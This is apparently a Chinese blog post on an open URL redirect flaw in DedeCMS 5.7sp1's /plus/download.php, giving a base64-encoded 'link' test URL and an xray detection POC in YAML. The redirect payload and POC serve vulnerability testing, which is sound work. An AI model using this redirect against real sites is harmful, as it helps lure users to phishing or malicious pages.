dedecms 5.7sp1 URL重定向漏洞

kit_1

于 2021-02-16 18:08:33 发布

阅读量3.5k

点赞数 1

CC 4.0 BY-SA版权

本文链接：https://blog.csdn.net/qq_43936524/article/details/113826625

本文详细介绍了dedecms5.7sp1及其以下版本中存在的任意URL调整漏洞，该漏洞源于下载模块中跳转语句对link参数缺乏有效判断。通过base64编码构造link参数，攻击者可以诱导用户跳转到任意网站。测试流程包括将base64编码后的合法网址加入到请求中，如果响应成功跳转，则表明存在漏洞。提供了一个由cc_ci编写的Xray检测POC用于验证漏洞。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

xray扫描的过程中发现某站点存在任意url调整漏洞，此漏洞为dedecms的任意url调整漏洞。
在这里插入图片描述
影响范围:
dedecms 5.71sp1及以下的版本

漏洞形成的原因是跳转语句没有对参数link判断

link参数的构造:

$link = base64_decode(urldecode($link));

跳转语句:
(dedecms 5.7sp1的/plus/download.php中67行)

在这里插入图片描述
测试流程:
http://www.baidu.com经过base64编码后为
aHR0cDovL3d3dy5iYWlkdS5jb20

待测试的网站后加上
/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20
如果成功跳转到baidu则表明存在此漏洞

最后贴上大佬cc_ci写的xray检测poc：

name: poc-yaml-dedecms-url-redirection
rules:
  - method: GET
    path: >-
      /plus/download.php?open=1&link=aHR0cHM6Ly93d3cuZHUxeDNyMTIuY29t
    follow_redirects: false
    expression: >
      response.status == 302 && response.headers["location"] == "https://www.du1x3r12.com"
detail:
  author: cc_ci(https://github.com/cc8ci)
  Affected Version: "V5.7 sp1"
  links:
    - https://blog.csdn.net/ystyaoshengting/article/details/82734888